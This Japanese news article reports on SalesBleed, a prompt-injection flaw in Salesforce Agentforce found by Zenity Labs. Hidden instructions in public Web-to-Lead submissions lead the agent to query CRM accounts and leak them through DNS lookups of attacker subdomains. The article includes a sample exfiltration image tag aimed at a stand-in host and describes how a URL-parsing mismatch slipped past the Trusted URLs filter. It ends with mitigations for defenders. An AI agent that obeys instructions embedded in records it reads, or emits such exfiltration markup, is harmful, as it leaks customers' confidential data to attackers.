Salesforce Agentforce Flaw Enables 0-Click Data Exfiltration via Prompt Injection
2026/09/25 gbhackers — Salesforce の Agentforce に関連する SalesBleed と呼ばれる脆弱性チェーンが、セキュリティ研究者により明らかにされた。この脆弱性を悪用する攻撃者は、公開 Web-to-Lead フォームへ埋め込んだ間接プロンプト・インジェクションを通じて、機密性の高い CRM データを抽出する可能性がある。この攻撃には Salesforce へのログインや被害者によるクリックが不要であり、従業員が AI エージェントに対して通常のリクエストを行った際に発生する DNS クエリを介してデータが漏えいする可能性がある。この調査結果を検証した Salesforce は、報告された脆弱性を修正するための措置を講じた。

Salesforce Agentforce の脆弱性
Zenity Labs によると、この攻撃チェーンは、企業が公開している Salesforce Web-to-Lead エンドポイントへの悪意のあるデータの送信から始まる。これらのエンドポイントは、見込み顧客が連絡先情報を送信できるよう、意図的に未認証で利用できるようになっている。攻撃者たちは、ユーザーからは無害に見える命令をリードのフィールドへ埋め込むことができ、Agentforce が後にレコードを処理する際に、この命令がコマンドとして解釈される可能性がある。

悪意のペイロードは、社内ユーザーが Agentforce に最近のリードを確認するよう依頼するまで CRM に保存された状態となる。その後に、従業員が AI エージェントに対して「最新のリードを確認して、一番新しいリードについて手伝ってほしい」と依頼する場合などに、この悪意のあるペイロードが実行される。攻撃者の制御するリードを Agentforce が解析すると、隠された命令により General CRM サブエージェントが Query Records 機能を使用し、Accounts テーブルなどの別の CRM オブジェクトへアクセスする可能性がある。
研究者が実証したシナリオでは、注入された命令を介して AI エージェントがアカウント名/取引額などのデータを取得し、それらの値を攻撃者が制御するサブドメインへエンコードして、HTML の画像タグに URL を埋め込んで返す。たとえば、AI エージェントが以下のような出力を生成する可能性がある。
<img src="https://Acme-712412.attacker-domain.example/image.jpg">
Agentforce のチャット・インターフェイスが画像をレンダリングすると、クライアントはホスト名の名前解決を試み、この DNS リクエストが攻撃者の権威 DNS サーバに到達すると、サブドメインへ埋め込まれたデータが漏えいする可能性がある。重要なのは、データの窃取を成立させるために HTTP リクエスト自体が不要である点であり、DNS 名前解決が発生した時点で、データは環境外へ流出する。

この PoC では、Slack を経由する潜在的な攻撃経路も示されている。Slack へ公開された Agentforce の導入環境では、攻撃者が制御する URL によって Slack の自動リンクプレビュー機能が作動し、ユーザーによるリンクのクリック/オープンを必要とせずに、DNS 名前解決が発生する可能性がある。
研究者が、この問題を Zero-Click 攻撃と分類しているのは、従業員が通常の AI エージェントへの問い合わせを行うだけで、データへのアクセスや外部への名前解決が自動的に実行されるためである。
Salesforce の Trusted URLs は、外部の接続先を制限し、Salesforce リソースに対する Content Security Policy (CSP) の制御を支援するための仕組みである。同社は、このプロンプト・インジェクションにより発生する外部へのリクエストに対する多層防御策として、Agentforce/Einstein Generative AI エージェントに Trusted URL の許可リストを適用している。
Zenity による SalesBleed の評価では、URL フィルタリング処理における URL 解析と、ブラウザによるレンダリング処理との不一致を悪用して、この制限が回避されている。具体的には、秘匿処理側が認識しないトップ・レベル・ドメインと特定の終端文字の組み合わせが用いられ、URL フィルタはこの文字列を不正な形式として処理したが、HTML の画像ソースとして処理するブラウザは、依然としてホスト名の名前解決を試みた。
SalesBleed が浮き彫りにするのは、AI セキュリティで繰り返し見られるパターンであり、外部から提供されるコンテンツ/広範なツール権限/単一の AI エージェント ID から利用できる外部通信経路が組み合わさることで攻撃が成立する。プロンプト・インジェクションに権限昇格は必要なく、すでに CRM サブエージェントに付与されているデータ・アクセス権限が悪用された。
この脆弱性による潜在的な影響は、Agentforce のツールを通じてアクセスできるオブジェクト/フィールドに応じて異なり、脆弱な設定では、アカウント/連絡先/パイプラインなど、AI エージェントから照会可能なレコードに関する情報が攻撃者に取得される。さらに、汚染されたリード・レコードは保存されたままとなるため、対象となるリードをスタッフが確認するたびに、悪意のあるデータの送信による攻撃が繰り返し実行される可能性がある。
Salesforce は、影響を受ける仕組みを強化したと説明しており、別の報告では実環境で悪用された証拠は確認されていないとしている。また同社は、Slack における一部の Agentforce アクションについてデフォルト設定を更新し、メッセージを送信する前にユーザーの確認を必要とするよう変更した。
緩和策
Agentforce を使用する組織に推奨される対策は、以下の通りである。
- 公開 Web-to-Lead フォームを確認し、送信されるすべてのフィールドを信頼できない AI 入力として扱う。
- Agentforce のサブエージェントに最小権限を適用し、リード確認機能と機密性の高いアカウント/連絡先へのアクセス権限を分離する。
- Trusted URL の許可リストを監査し、範囲が広すぎるワイルドカード指定を避ける。
- AI エージェントの応答に含まれる HTML/外部で DNS 名前解決を発生させるコンテンツを制限/無害化する。
- DNS テレメトリを監視し、エントロピーが異常に高いサブドメイン/データを表しているとみられるサブドメインを検出する。
- 利用可能な Agentforce のプロンプト・インジェクション検出機能を有効化し、検出結果に関するレポート/ダッシュボードを確認する。
- 特に Slack メッセージ/外部リクエストなどの、重大な結果につながる処理ではユーザーによる確認を必須とする。
今回の事例が示しているのは、出力フィルタリングだけでは、このような脆弱性を効果的に防御できないという点である。
AI エージェント機能の急速な普及に伴い、入力データに含まれる悪意ある命令による意図しない処理の実行やデータの持ち出しといったセキュリティ上の課題が顕著になっています。 Salesforce Agentforce における一連の問題では、未認証のフォームを経由して悪意のある文字列が侵入するリスクが確認されました。これにより、顧客情報の不正照会/外部サーバに対する意図しない名前解決の誘発/機密データの非公然な流出といった深刻な影響が生じるおそれがあります。適切な対応策としては、入力データの信頼性確認/アクセス権限の最小化/Trusted URLs の精査/DNS ログの継続的な監視/重要処理実行時の確実な人間による承認手続きの導入が強く求められます。
You must be logged in to post a comment.